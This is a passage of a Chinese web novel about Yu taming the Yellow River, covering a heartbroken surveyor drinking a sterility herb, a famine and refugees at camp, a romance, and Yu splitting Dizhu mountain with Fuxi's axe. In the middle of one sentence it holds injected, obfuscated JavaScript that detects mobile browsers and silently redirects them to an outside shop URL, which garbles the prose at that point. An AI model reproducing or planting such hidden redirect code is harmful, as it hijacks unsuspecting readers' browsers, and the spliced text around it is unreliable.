老人摇头叹道:“乃是断绝生育之药,凶得很呐。” 老人走后,羲青独自站在那丛蓇蓉前,良久不动。砺与藤女并肩而立的情景再次浮现,那份她可能永远无法拥有的平凡温暖,让她感到一种深刻的孤独与宿命的悲凉。一个决绝的念头涌上心头。她小心翼翼地采下几株蓇蓉,带回自己的帐篷。 夜深人静时,她将蓇蓉煎成浓黑的药汁,那苦涩的气味弥漫开来。她端起陶碗,手微微颤抖。就在这时,帐篷帘子被轻轻掀开,化作黑衣少女模样的墨琛走了进来。她平时常与羲青讨论山川地理,关系较为亲近。 “青姐姐,你在煮什么?味道好怪。”墨琛皱了皱鼻子。 羲青放下碗,勉强一笑:“没什么,一种安神的草药。” 墨琛看着她苍白的脸色和微红的眼眶,歪着头说:“你看起来不开心。是因为工正和藤女姐姐吗?我看他们最近总在一起。” 孩童般直白的话语戳中了羲青的心事。她叹了口气,没有否认:“墨琛,你还小,不懂。有些人,有些路,注定是孤独的。像我这样,与星象山川为伴,漂泊不定,或许本就不该有寻常女子的牵绊。”她看着那碗药汁,像是解释,又像是说服自己,“这样也好,以后便再无后顾之忧了。” 墨琛似懂非懂,但她能感受到羲青的悲伤。她凑近些,小声说:“青姐姐,你别难过。还有我们陪着你呢。而且,我觉得你很厉害,比很多人都厉害!”她的安慰单纯而真挚。 羲青心中微微一暖,摸了摸墨琛的头,最终还是将那一碗苦涩的药汁饮下。泪水无声地滑落,混入药中,滋味难辨。 华山既通,禹刻石纪功,率部溯河西指。历经二十余日艰苦跋涉,终于抵达了此行的最终目标——砥柱山。 眼前的景象令人窒息。黄河水流至此处,被浑然一体的巨大山体硬生生阻断,洪流壅滞难泄,竟在山前积成一片浩渺无垠的水泽。泽水浑浊如泥,茫茫一片望不见对岸,上游奔涌的洪水日日夜夜在此淤积,水位节节高企,早已漫过两岸田垄,将成片村落吞入水底;而山后的下游河道,却因水源被阻,只余细弱水流缓缓淌动。那砥柱山体宛如一头黑色巨兽,稳稳盘踞在黄河中央,周身散发着令人绝望的压迫感。当地残存的民众个个面黄肌瘦,眼中满是惶恐,私下里窃窃私语,都说山中藏着能兴风作浪的千年老龙,但凡靠近山体的人,都没有好下场 —— 如今,靠近砥柱山早已成了众人不敢触碰的禁忌。 禹立即展开详细调查。他乘着小舟,在金鳞龙(始终以人形护卫在侧)和墨琛、苍鬃等小龙的护卫下,冒险接近砥柱山。以手触摸,山岩冰冷刺骨,其坚硬程度远超华山之石。水中,一股强大、焦躁且充满敌意的灵压清晰可辨。 砺仔细勘察山体后,面色凝重地向禹汇报:“司空,此岩之坚,确为平生仅见。寻常铜铁工具,触之即卷刃。非特制重锤,辅以火焚水激之法,绝难撼动。且水中那物……气息凶戾,若不先行解决,民夫绝不敢近前施工。” 真正的考验接踵而至。 首先是严峻的粮草危机。弃面色沉重地向禹报告:“司空,周边郡邑皆困于水患多年,存粮早已消耗殆尽,盗匪横行,交换极难。我军人数众多,加之闻讯而来、依附求生的流民日渐增多,现有粮秣……恐难支撑半月之大工程。” 禹心头一紧:“粮草乃根基,断不可缺!农正,有何良策?” 弃显然已深思熟虑:“其一,我已命仓实严格管控存量,精确配给,日夜巡查,杜绝丝毫浪费,并组织妇孺广泛采集一切可食野菜、树皮、橡实。其二,百草正带人在仅存的、未被水淹的高地抢种生长迅速的黍与豆类,但远水难解近渴。其三,需请伯益大人全力相助渔猎。其四……”他看向禹和羲青,“需动用祝余草以救急。” “祝余草?” 禹闻言颔首,他自然知晓此草 —— 此前舜帝便曾嘱托弃,以这南荒奇草接济饥民、充作治水军粮。这一路行来,平水土之师也早用其捣碎制饼,一片便可解数日之饥。 弃却话锋一转,捧着泛光的草种凑近:“司空可知?此草寻常种植需旬月,但若您与地师羲青姑娘同在,引水源灌溉特制陶盆,两时辰便能收获!您身负天命、民心所归,本就可通大地脉络,引地脉之气;而羲青姑娘是先历正羲仲之女,精研星象、熟晓水文地理,恰能聚星象之华 —— 二者相合,正应了祝余草生长的根本需用啊。” 禹目光一亮,这生长之速却是首次听闻,当即道:“速速去办!” 不多时,营地中心的陶盆里,种子竟肉眼可见地抽芽展叶,两时辰后便郁郁葱葱。虽口感粗糙,却解了粮草之急,也稳住了人心。 与此同时,伯益也全力以赴。他派遣羌笛、姜石等好手,带领民众大规模渔猎。羌笛用骨笛召唤鸟群指引鱼群方位;姜石则凭借精准箭法射猎山林间的野兽;巴瑶组织水性好的人下网捕鱼。猎得的兽肉、渔获的鲜鱼被切成薄片,悬在通风处晾成肉脯收存起来。这风干的肉脯耐存耐带,煮食或直接嚼食都可,正好为连日开山凿石、耗力极甚的众人补养气力,助他们强筋健骨,撑过治水工程的辛苦劳作。 天刚蒙蒙亮,营地的粮囤旁就起了骚动。两个精瘦的流民被岳卫锐士按在地上,怀里还揣着没来得及藏的半块祝余草饼,其中一个少年的脸涨得通红,另一个老流民则垂着头,双手在寒风里抖得更厉害 —— 他身上那件单衣早破得露了棉絮,冻得青紫的手腕上还沾着草屑。 “住手。” 低沉有力的声音从人群后传来,岳盾大步走近,斜挎在身后的木盾随着步伐轻晃,盾心图腾在晨雾里泛着冷光。他弯腰扶起老流民,指腹触到对方枯瘦手腕上的冻疮,心里猛地一沉 —— 这寒冬腊月,连他这穿兽皮的都觉得冷,流民们裹着破衣,哪禁得住冻。“抢粮不对,但不是死罪。” 围上来的岳卫锐士们立刻收了手。鸣镝早已蹲在不远处的土坡上,强韧的筋角弓斜背在身,鹰隼般的目光扫过营地外围:流民们缩在背风处,有的抱着冻得哭不出声的孩子,有的拄着断了头的拐杖,连年轻汉子都蔫头耷脑 —— 不是不想找吃的,是河面冻得三尺厚,没工具凿不开冰;山林里猎物早躲深了,他们穿得单薄,走两步就发颤,连追兔子的力气都没有,只能挖些冻硬的草根填肚子。见没再有人异动,鸣镝才吹了声短促的笛音,起身往粮囤这边来。 长河扛着重型牛皮木盾走过来:“岳率,这几日流民越聚越多,粮囤被扒了三次不说,昨日泽虎去凿冰捕鱼,还见着两个流民想跳冰窟窿捞鱼,差点冻僵!再不管……” “急不得。” 岳盾打断他,目光扫过那些瑟缩的身影,“他们不是来捣乱的,是真活不下去了。” 他转头看向风鸟,少女立刻会意,扎着粗辫的脑袋一点,语速飞快:“我这就去寻流民里的长者,半个时辰内带过来!昨日跟泽虎凿的冰鱼,还有炎羽、石牙猎的野兔,都晾在棚里呢,正好能分!” 说罢便脚步轻快地钻进流民堆里。 土根也凑了过来,憨厚的脸上带着点为难:“岳率,士师让俺来清点今日的祝余草,要是再分鱼干兽肉……” 话没说完,皋陶已走来了。 “先清点流民人数,老弱妇孺单独登记。但法不可废 —— 若有故意破坏粮囤、煽动闹事者,按律处置。至于肉食,” 皋陶顿了顿,目光掠过粮囤旁晾着的鱼干,“按劳分配,不偏袒,也不克扣。” 岳盾点头,这正合他的心思。不多时,风鸟带着三个须发皆白的长者过来,其中一个手里攥着块发霉的粟饼,饼渣子簌簌往下掉。“岳率,不是我们想偷啊,” 老长者颤巍巍地抹了把脸,“家里的地全淹了,小孙孙三天没吃东西,哭都没力气了……” 岳盾没等他说完,便指着营地东侧一片背风的空地道:“那里划给你们当住处,岳卫会守着,没人敢来扰。男人们去砍柴、搬石块,女人们缝补衣物,干多少活,领多少祝余草饼 —— 若是出力多,还能分些鱼干和兽肉,都是兄弟们前几日凿冰捕的鱼、上山打的野兔,够大伙添点力气。” “有…… 有肉?” 老长者猛地抬头,浑浊的眼睛里瞬间亮了,旁边缩着的少年也直起了脖子,盯着岳盾的手,像是怕他说的是假的。 话音刚落,炎羽就举着短矛跑过来,脸上满是雀跃:“岳率!我去带他们砍柴!” 岳盾拍了拍他的肩膀,语气放缓了些:“别急,先去粥棚端几碗热粥来,给孩子和老人先垫垫。咱们不是来管流民的,是来帮他们活下去的。” 炎羽愣了愣,随即重重点头,转身就往粥棚跑,藤盾在背上晃得厉害。 这时禹也闻讯赶来,身后跟着弃和百草。他看着流民们渐渐围过来,眼神温和却坚定:“治水先安人,你们愿意出力,就是治水的一份子。弃,让仓实多算些祝余草的量,鱼干兽肉也得匀着分,不能让干活的人饿着、冻着。” 弃立刻点头,仓实已掏出兽骨,飞快地记录人数;百草蹲在一旁,指尖轻轻摸过一个孩子冻得发紫的脸颊,柔声说:“别怕,等会儿有热粥,还有肉吃呢。” 那孩子眨了眨眼,小声问:“真的有肉吗?像过年那样的?” 百草笑着点头,把自己怀里的暖手巾塞给了他。 皋陶站在一旁,看着土根给流民登记,忽然开口:“登记时问清楚,有没有懂水性或会编筐的,报给巫盼或木鹞 —— 懂水性的能帮泽虎凿冰运水,会编筐的能编些竹筐装碎石,都能派上用场。” 土根愣了愣,随即憨憨地笑:“俺晓得了,士师!俺记下来!” 岳盾看在眼里,心里明白,这位看似冷峻的士师,从来都不是只知律法的硬心肠。 到了午后,营地东侧已搭起几座临时棚子。藤女腕间的青藤缠在木柱上,帮着流民固定棚顶,还柔声教妇人怎么用干草编暖鞋;石牛扛着巨锤,帮着平整地面,每一下都砸得又稳又准;鬼薪在一旁生起篝火,火上炖着的野兔汤冒着热气,香味飘得老远,引得流民们频频回头。 夕阳西下时,第一批干活的流民来领粮。土根捧着兽骨,给老长者递过两块祝余草饼,又额外递上一小包鱼干和一块炖得软烂的兔肉:“老伯,您今日搬了十块石头,这是您的。” 老长者双手接过,饼和肉都揣进怀里,又对着岳盾深深作揖,声音哽咽:“谢…… 谢谢岳率,谢谢各位兄弟,俺们…… 俺们一定好好干活,不拖治水的后腿!” 岳盾摆摆手,声音依旧低沉却带着暖意:“好好干活,等水治好了,你们就能回家,种自己的地,过安稳日子了。” 今夜,不会再有人饿肚子,也不会再有混乱了。 不久,一种奇怪的腹痛症在民夫中流行开来,患者上吐下泻,虚弱无力。工棚里不时传来呕吐声,原本挥镐凿岩的汉子们蔫头耷脑地蜷在草席上,连握碗的力气都快没了。 禹连夜召集众人议事,篝火映着他紧锁的眉:“巫盼、辛夷,采药之事辛苦二位;但光治不防不行,必须找到污染水源的根由 —— 羲青,你司掌星象地脉,熟知山川走势,可否带飞猿去上游勘察?飞猿擅攀爬,能探深谷,你们俩去,我放心。” 羲青闻言抬头,指尖下意识攥紧了记录地脉的兽骨。她懂禹的用意:这几日她总出神,与其让她对着工地上砺与藤女的身影心烦,不如让她做擅长的事。“司空放心。” 她应声起身,“我这就带飞猿去,定寻出水源症结。” 飞猿早候在一旁,见羲青动身,立刻蹦跳着跟上:“地师,我知道有条近路能上上游山谷,快得很!” 羲青和飞猿二人踏着晨露往上游去。羲青顺着地脉走向勘察,指尖抚过湿润的泥土,忽然停在一处山谷口:“这里水汽不对。” 飞猿攀上崖壁一看,果然见谷中积着一潭死水,水面漂着腐坏的草木,瘴气正顺着溪流往下渗 —— 正是民夫取水的源头。 “我去通知兄弟们清淤引流!” 飞猿说着就要往下跳,羲青却拦了他:“先撒些石灰祛瘴,你小心些。” 望着飞猿灵活的身影,她想起昨夜瞥见藤女帮砺整理安全绳的模样,心里着实郁闷。 另一边,巫盼与辛夷背着药篓踏入萯山,晨雾把山林裹得发潮,辛夷走在前面,时不时回头看巫盼:“大巫,您这避瘴药丸,是用苍术和佩兰做的吗?我在家时,爷爷也用这两种草药驱过虫。” 巫盼脚步微顿,这是几日来辛夷第一次主动问他草药之外的事。他指尖摩挲着药篓边缘,温和地说:“还要加些艾叶,晒干了捣成粉,能防毒虫钻进衣领。” 说话间,前方忽然飘来淡青色的瘴气,他立刻上前一步,将辛夷护在身后,掏出布包递她一颗药丸:“含一颗,别吸气。” 辛夷接过药丸,指尖触到他的手 —— 那手上有一道浅疤,像被什么锐器划的。 “大巫,您手上的疤……” 她忍不住问。巫盼的目光暗了暗,声音轻得像雾:“前几年在部落,有妇人难产,我剖腹救子时,被断木划的。” 话一出口他就后悔 —— 他从不对人提亡妻的事,可面对辛夷清澈的眼神,竟没忍住。 辛夷愣了愣,随即轻声道:“大巫心善,那妇人一定很感激您。” 她没再追问,只是默默走在他身侧,帮他拨开挡路的荆棘。 待找到悬崖缝隙里的条草时,辛夷够不着最上面的几株,巫盼抬手便将草折下,递她时,见她额角沾了草屑,竟下意识抬手想拂去,指尖在半空顿了顿,又收回手:“够了吗?够了就早些回。” 辛夷攥着手里的条草,脸颊发烫,小声应:“够了,大巫。” 她望着巫盼转身的背影,忽然觉得这位总沉默的巫医,不像表面那般冷硬。 工地上,砺的安全绳刚被藤女重新系紧,腰侧那道深褐色的旧疤就从衣料缝隙露了出来 —— 那是去年在龙门凿岩时,被崩飞的碎石划的,至今摸起来还泛着硬。藤女的指尖不经意蹭过,立刻顿住,语气里多了几分心疼:“这伤…… 还疼吗?” 砺低头看她的手,那双手刚帮他稳住岩钉,指缝里还沾着岩屑,却轻轻覆在他的旧疤上,暖得像晒过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705144|189169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太阳的棉絮。“早不疼了,” 他笑了笑,语气里带着点自嘲,“治水哪能没伤,就是怕…… 怕这日子苦,连累旁人。” 藤女抬眼望他,崖边的日光落在她睫毛上,泛着浅金:“我不怕苦。” 她的指尖轻轻揉了揉那道疤,声音放得很软,“我爹娘就是被洪水卷走的,那时候我才十岁,躲在树洞里哭,就想着要是能有个安稳的家,有个人一起扛,哪怕天天喝糙粥也值。” 她顿了顿,眼神亮得像山间的溪水,“要是以后,我能有个孩子,看着他在没有洪水的田埂上跑,不用像我小时候那样怕水,多好啊。” 这话像颗暖石子,砸在砺的心上。他之前以为,所有人都会像羲青那样,把治水放在前头,把 “家” 往后推,可藤女不一样 —— 她把治水和家绑在了一起。 风卷着崖边的草叶吹过来,带着点草木的清香,砺伸手,轻轻拂去藤女脸颊上的一点岩屑,指尖碰到她的皮肤时,两人都顿了顿。他看着她泛红的耳尖,看着她眼里自己的影子,慢慢俯身,吻住了她的唇 —— 没有急切,只有小心翼翼的珍视,像怕碰碎了崖边刚开的野花。 藤女的手轻轻勾住他的衣角,闭着眼,睫毛轻轻颤着。阳光穿过薄雾,把两人的影子叠在岩壁上,像一道分不开的印。 不远处,羲青刚踩着湿泥从上游回来,手里攥着记录水源的兽骨,上面还沾着清淤时的石灰粉 —— 她刚找到污染的症结,正想回营地报信,脚步却猛地顿住。 那道崖边的影子,她再熟悉不过。去年龙门峡的篝火旁,砺也是这样看着她,眼里的光和现在一模一样。可现在,他吻着藤女,藤女的手勾着他的衣角,连风都像是绕着他们转。“…… 有个孩子,看着他在没有洪水的田埂上跑……” 藤女的话顺着风飘过来,像针一样扎进羲青的耳朵里。 她手里的兽骨 “啪” 地掉在地上,兽骨散开,上面画着的水源图滚了一地。她下意识想去捡,指尖却抖得握不住,抬头再看崖边时,眼眶已经红了 —— 她不是不想要这样的日子,不是不想要家,只是去年她怕耽误治水,怕自己给不了砺安稳,才摇了头。可现在,那个她曾推开的未来,正清清楚楚地摆在别人身上。 风卷着草叶,打在她的脸上,有点痒,又有点疼。她猛地转身,脚步踉跄了一下,差点撞到身后的树。她没回头,也没捡地上的兽骨,痛彻心扉,泪如雨下。 砥柱山开凿工程的进度始终迟滞,民夫们面对顽坚硬岩,一凿下去往往只留道浅白痕迹,日复一日的耗力磋磨本就磨蚀着心气;再加上山中有老龙盘踞、扰人施工的传闻在工棚间悄悄流转,此前因饮水不洁引发的腹痛旧疾又偶有复发,三重郁结之下,众人的士气愈发低迷,连挥斧的力道都弱了几分。 可士气虽降,粮草消耗却在逐日攀升。弃种植的祝余草,虽能勉强填腹,却带着一股冲鼻的苦涩,入口时刺得喉头发紧,民夫们多是皱着眉强咽,每餐都成了难挨的煎熬。 更棘手的是,砥柱山周边常年被水患裹挟,田垄冲成泥沼、村落塌作断壁,民生早已凋敝到连当地百姓都得靠挖野菜度日,根本无余粮可借;加之水患过后盗匪横行,往来运粮的山道上常有劫掠之事,想从周边就地筹措粮草,竟比凿开硬岩还要艰难几分。 这夜,禹辗转难眠。帐外风声呜咽,如同万民哀嚎。他想起父亲鲧治水失败的阴影,想起共工遗族可能仍在暗中窥伺,想起舜殷切的目光,想起平水土之师团队的信任与付出,更想起砥柱山这块硬骨头和潜在的老龙威胁……千钧重担,压得他几乎喘不过气。 还有女娇。他怀中那枚白石埙仿佛还带着她的体温。新婚不久即别,作为一名正值壮年的男子,他对妻子的思念如烈火灼心。有时夜深人静,他会取出埙轻轻摩挲,想象着女娇在阳城的生活,那短暂的温暖成了他唯一的慰藉,却也加深了此刻的孤寂与焦虑。 “司空还未歇息?”金鳞龙低沉的声音在帐外响起,他感知到了禹心绪不宁。 禹掀帐而出,见金鳞化作人形,立于清冷的月光下,鳞甲泛着幽幽寒光。 “心中有事,难以安眠。”禹叹道,望着远处黑暗中如同巨兽般蛰伏的砥柱山轮廓。 金鳞目光如炬,望向砥柱山方向:“可是为那山中孽障与这顽石忧心?” 禹点头:“岩坚如铁,进度迟缓。民夫疲敝,粮草日耗。水中更有恶龙盘踞,若其兴风作浪,恐前功尽弃。若再无突破,只怕……”他没有说下去,但忧虑之情溢于言表。 金鳞沉默片刻,道:“昔日伏羲氏画卦开天,定乾坤秩序;神农氏尝草济世,解万民疾苦。皆遇万难而不退,盖因其心至诚,其志至坚。司空仁德感天,勤勉为民,必有神助。此山此水,亦当为公之诚心所动。” 正说间,忽见天际流光溢彩,一道柔和而纯粹的金光,仿佛自九天星河垂落,不偏不倚,直坠入禹的营帐之中。禹与金鳞皆是一惊,急忙回帐。但见案几之上,凭空多了一物——一柄造型古朴、通体呈玄青色的石斧。斧身看似粗糙,却隐隐流动着温润的光泽,上面刻有深奥难解的八卦纹路,散发着一种源自太古的苍茫与威严气息。 禹怔怔地望着这柄突如其来的石斧,忽觉一股难以抗拒的困意袭来,仿佛心神都被那斧身的光芒所吸引,不由自主地伏在案上,沉沉睡去。 梦中,他来到了一片浩瀚无边的水泽边,泽中雷电交织,却奇异般地寂然无声。一位人首蛇身、周身环绕着阴阳二气的神人,端坐于一朵巨大的、同样由光影构成的莲台之上。这情景似曾相识,禹猛然忆起自己尚是青涩少年之时,在一名老巫祝的引导下,曾于梦中得见这位神人——人文始祖伏羲氏。那时,伏羲赠他一把玉简,声音如古琴余韵,言道:“以此丈量天地,定九州之疆。” 而今,他又见到了这位至高无上的神祇。伏羲氏手持一柄石斧,神态慈祥而平静,仿佛早已预料到这次相会。 “禹,我们又见面了。”伏羲开口,声音恢弘如黄钟大吕,却又直接响彻在禹的心底,“见尔治水心诚,志坚如磐,特以此开山斧相赠。此斧乃混沌初开时,清浊二气凝结之天地灵石所铸,内含开辟之力,能破万坚,能分水脉。” 伏羲将石斧虚虚一推,那斧便飘至禹面前。“然,”伏羲的声音转为凝重,“神物有灵,非至诚至公之心不可驱使。欲发挥其威力,需以持斧者之心血精神祭之,人斧合一,方显神通。切记,用之正则造福苍生,用之邪则反噬其身。望尔善用此宝,早平水患,福泽万代。” 禹心中震撼,正欲拜谢,却见伏羲身影与那无边水泽渐渐淡去。他猛然惊醒,抬头看去,案上那柄玄青石斧赫然在目,斧身上的八卦纹路在晨曦微光中似乎缓缓流转。他知道,这绝非幻梦,而是伏羲氏显圣赐宝!此斧与神农石耜迥异,专克金石之坚。禹当即整理衣冠,焚香叩拜,心中充满了感激与前所未有的信心。 伏羲开山斧既已到手,其蕴含的劈开混沌的磅礴神力,足以一斧洞穿砥柱山的顽坚硬岩。但禹握着斧柄,指尖触到斧身冰凉的纹路,却始终没有贸然挥动 —— 这神斧之力太过刚猛,若仅凭蛮力开山,不仅可能震裂砥柱山脚下的灵脉,搅乱周边水势,更恐误伤久居此间的老龙。 他治水多年,始终以 “疏导” 为核心,深知治水从非单纯与山争、与水斗,更要顺乎天地脉络、化解生灵纠葛。那老龙盘踞砥柱山已久,早已与山体间的泉脉、岩层连为一体,开山凿渠必会触动它的居所。若不先试着与之沟通、解其顾虑,届时老龙未必会作壁上观,反倒可能因护持巢穴而兴风作浪,反倒让疏导工程平添阻碍,违背了他治水安民的初衷。 这一日,禹手持伏羲开山斧,来到砥柱山下的大泽边,金鳞龙与另外四条小龙环绕其周。禹凝神聚意,将一股平和而坚定的意念透过水流传递出去:“龙君何在?华夏司空禹,奉命治水,途经宝地,望请一见!” 良久,湖心波涛翻涌,一条体型硕大、鳞甲暗沉泛着幽光、长须怒张、眼中闪烁着桀骜与警惕的老龙破水而出,声音如同闷雷:“禹?便是你在华山弄出好大动静,又来扰我清修?此地方圆百里,乃本王千年道场,岂容你等凡人放肆!” 禹不卑不亢,拱手一礼:“龙君息怒。禹此来,非为争斗,实为求解。黄河乃万民之母河,滋润苍生。今被此山阻塞,上游成湖,百姓流离失所;下游干涸,田地荒芜。此非天地生生之道,亦非龙君久居之福。龙君居此,想必亦因这水域开阔,可恣意遨游。若河道畅通,水归其道,则波澜壮阔,气象万千,岂不更合龙君纵横四海之志?胜过困守此日渐淤塞之死水。” 老龙咆哮,激起数丈浪花:“花言巧语!吾在此千年,习惯于此!你说疏通就疏通?此山乃天地生成,坚不可摧!你若有本事劈开,吾便认了!若不然,速速滚开,休再聒噪!” 禹心知空言难以说服,需示以实力与诚意。他缓缓举起开山斧,斧身玄青色光泽内敛,却自有一股威严:“龙君且看此斧,乃人文始祖伏羲圣祖所遗,内含开辟之力。禹愿以此斧,为黄河开道,亦为龙君开辟更广阔的天地。若功成,请龙君顺流而下,巡视新辟之江河湖海,逍遥自在,岂不远胜困守此一隅?禹愿以人格与性命担保,绝不伤龙君分毫,只求共利共赢,还天地以通畅,予万民以生机!” 老龙紧紧盯着禹手中的开山斧,感受到那股源自上古的神圣气息与浩然正气,又听禹承诺不伤己身,且描绘的广阔前景确实触动了他内心深处对自由遨游的渴望,凶戾之气稍减,但仍有疑虑:“哼!即便你有神斧,能否劈开此山亦是未知!吾姑且观之。若你真能成功,且信守承诺,吾便依你所言,换个地方逍遥又如何!但若你失败,或心存歹意,休怪吾翻脸无情!” 沟通初步达成,禹立刻投入最后的准备。他与砺、伯益等制定了周详方案。砺指挥所有工匠和岳卫,在预定劈山点做好标记、清理场地、修建防护工事,并将民夫疏散到安全地带。他深知当地民夫征调不易,便采取了一系列措施:以身作则,与工匠同甘共苦;严格执行公平的轮休和奖励;让藤女等善于沟通者,耐心解释工程意义和安全保障,逐渐消除了大家的恐慌。雍钺等新加入的子弟也奋勇当先,承担起最艰苦的准备工作。 伯益则驱动鸟兽大军,进行全方位监控。羌笛的骨笛声与山中飞鸟、水底游鱼交流,密切监视老龙动向和水情变化。姜石带领侦查小队,警戒周边。弃全力保障后勤,祝余草、渔猎所得、采集之物,被仓实管理得井井有条。岳盾维持着营地秩序,救助被围困的百姓。巫盼设坛祷祝天地。羲青则日夜观测星象水文,最终选定了一个天地之气最为清朗和谐的日子。 吉日已到,旭日东升。砥柱山下,万众屏息。禹登临事先筑起的高台,沐浴斋戒,焚香祷告。他将对天下苍生的责任、对自然规律的敬畏、对成功的渴望,全部凝聚于心神,与手中的开山斧产生共鸣。那五条小龙分别镇守五方,气息相连。金鳞紧跟在禹身后,赤须则好奇地围着正在照料祝余草的百草打转,似乎对那快速生长的植物很感兴趣。 禹凝神静气,缓缓举起开山斧。随着他精神力高度集中,斧身开始嗡鸣,玄青色的光芒越来越盛,上面的八卦纹路仿佛活了过来,缓缓旋转,引动周围风气云涌! “伏羲圣祖在上,厚土皇天共鉴!为解万民倒悬之苦,为通江河东流之路——开!”禹用尽全身气力,伴随着一声石破天惊、蕴含无上意志的巨吼,将开山斧向着砥柱山预设的裂隙狠狠劈下! 没有金属碰撞的刺耳声,只有一道纯粹至极、仿佛能撕裂混沌的璀璨光华自斧刃迸发,如同有生命的雷霆,径直劈入山体!紧接着,是超越雷鸣的沉闷巨响从地底深处传来,整个大地剧烈震颤!在所有人惊骇欲绝的目光中,那坚不可摧的砥柱山岩体,从顶部开始,沿着光华劈过的轨迹,出现了一道深不见底、闪烁着金光的巨大裂缝!黄河之水如同苏醒的巨兽,疯狂涌入裂缝! 禹没有丝毫停顿,运起神力,连续挥动开山斧!第二斧,第三斧!每一斧都凝聚着他的心血、意志与整个治水团队的期望! “轰——!!!” 天崩地裂般的巨响接连爆发!庞大的砥柱山体,终于被劈开了三道巨大的、贯穿上下的豁口! 北侧的豁口相对宽缓,水流较为平稳,便于日后舟筏通行,禹将其命名为“人门”,寓意人力通天,众生得渡。 中流的豁口水势最为湍急澎湃,仿佛有天神之力在主导,巨浪翻涌,声震寰宇,禹命名为“神门”,以示对天地伟力的敬畏。 南侧的豁口则狭窄幽深,水下暗礁密布,漩涡丛生,水情最为险恶,禹命名为“鬼门”,警示此处危机四伏。 三股分流如同三条挣脱束缚的巨龙,奔腾咆哮着从三门汹涌而出,极大地分散了水流的冲击力,彻底解决了上游的壅塞问题。“马沟湖”的水位以肉眼可见的速度开始下降,被淹没不知多少年的土地逐渐重见天日。 更令人称奇的是,在开凿过程中,禹有意保留了砥柱山山体最核心、最坚硬的一部分,使其依然屹立在激流中央,镇波压澜。大泽水位迅速下降,被淹土地重现天日。 那老龙见禹果然信守承诺,劈山成功,且新河道气象万千,远胜往日闭塞,长吟一声,声震九霄,算是认可了此结果,随即顺流而下,巡视它的新领地去了。 岸上欢声雷动,万民跪拜,感激光明,称颂禹功。 砺立即带人加固河道;伯益探查水情;弃准备组织耕种;岳盾救助百姓;巫盼、辛夷救治伤者…… 羲青记录着这史诗般的场景,狂风吹动她的长发。她看到砺和藤女在人群中相视一笑,那份默契让她心中微痛,却也更坚定了自己的道路。她将目光投向更遥远的未知。 10. 第10章:大伾诛魔 舜摄政七年,禹治水第五年秋。 黄河之水,自龙门咆哮而出,闯过砥柱中分,其势虽稍敛,然积威犹存,裹挟着万里泥沙,如一条桀骜不驯的黄色巨龙,奔腾向东。冀州之野,本应是沃土千里,此刻却呈现出一片诡异的景象:上游之地,洪水漫溢,村落沦为泽国,树梢挂满哀草,浮殍随波逐流,哀鸿遍野;而下游广袤平原,竟龟裂如龟背,禾苗焦枯,赤地千里,饥民望天而泣。水脉失调,旱涝并至,仿佛天地失序,阴阳逆乱。 这灾厄的源头,直指一座突兀耸立于黄河故道之上的孤山——大伾山。 禹站在一处高岗上,远眺大伾山。山体嶙峋,石色黝黑,犹如一尊巨大的魔神,扼住了黄河东流入海的咽喉。本该奔流向东的河水,在此被山体强行阻挡,形成巨大的回旋,上游来水不断积聚,无处宣泄,酿成滔天洪灾;而下游河道则因来水被阻,日渐干涸,遂成旱魃横行之地。更令人心悸的是,山体周遭弥漫着一股若有若无的灰绿色瘴气,空气中漂浮着腥甜与腐朽混合的怪异气味,闻之令人头晕目眩。飞鸟不敢越其顶,走兽不敢近其麓,一片死寂。 “司空,此地……好生邪门。”砺紧握着他那柄已被磨得光滑的开山钺,眉头紧锁。他刚从砥柱山工程尾声抽调而来。砥柱山虽险,更多是自然之威,而此地,却弥漫着一股令人从心底感到不适的恶意。 禹缓缓点头,目光沉毅。他身后,是跟随他转战千里的核心力量:沉稳睿智的皋陶,英勇忠诚的岳盾及其麾下岳卫锐士,还有巫盼、辛夷等精通巫医之术的能人。不久前,龙门山工程终于告竣,阿牛、芦花、石牛等得力干将得以抽身,但禹考虑到砥柱山工程尚需精干力量收尾,已命他们直接前往砥柱山协助后续工作。此刻身边,是砺以及应龙所化的五小龙——它们盘旋低空,鳞爪映着晦暗的天光,发出不安的低吟,显然也感知到了此地非同寻常的威胁。 “非止山阻水流那般简单。”禹沉声道,“山石阻塞之外,更有邪秽作祟,毒化了水脉地气。寻常疏导之法,恐难奏效。”他转向皋陶,“士师,你观此地气运如何?” 皋陶神情凝重,取出随身携带的玉圭,此圭乃舜所赐,象征司法公正,名曰“北斗刑圭”,形制古朴,上应北斗星辰。他凝神感应片刻,道:“司空所感不差。此地水德紊乱,土气污浊,有一股极强烈的怨毒与毁灭之意盘踞山中,与山水灵气纠缠极深,几乎融为一体。若不能驱除此秽,纵劈开山体,流出的亦是毒水,遗祸无穷。” 禹深吸一口气,那腥甜之气刺得他喉头微痛。“必须先查明根源。砺、岳盾,你们带一队精锐岳卫,随我近前勘察。五小龙于空中警戒,若有异动,即刻示警。巫盼、辛夷,准备祛毒避瘴的药物,分发给众人。士师,请你在此高处,总览全局,以北斗刑圭镇住一方气机,以防不测。” 皋陶颔首:“司空小心。”遂将北斗刑圭端正置于身前,闭目凝神,一股无形庄严肃穆之气隐隐扩散开来,令周围躁动不安的心绪稍稍平定。 禹与砺、岳盾及十余名精锐岳卫,小心翼翼地向大伾山麓逼近。越靠近山脚,瘴气越浓,脚下的土地变得泥泞不堪,颜色深褐,泛着油腻的光泽,草木皆已枯死,形态扭曲,仿佛在临终前经历了极大的痛苦。随处可见动物乃至人类的森森白骨,骨殖上残留着被腐蚀的痕迹。 “司空,你看!”一名岳卫指着不远处一片看似平静的水洼。那水色黝黑,水面漂浮着泡沫,散发出令人作呕的腥臭。忽然,一条误入水边的水蛇挣扎了几下,便迅速化为一滩脓血,连骨头都未剩下。 众人皆倒吸一口凉气。岳盾急令:“结阵!后退!切勿触碰此地任何水泽泥土!”岳卫们迅速靠拢,将禹、砺等人护在中央,厚重的木盾向外,组成圆阵,谨慎后撤。 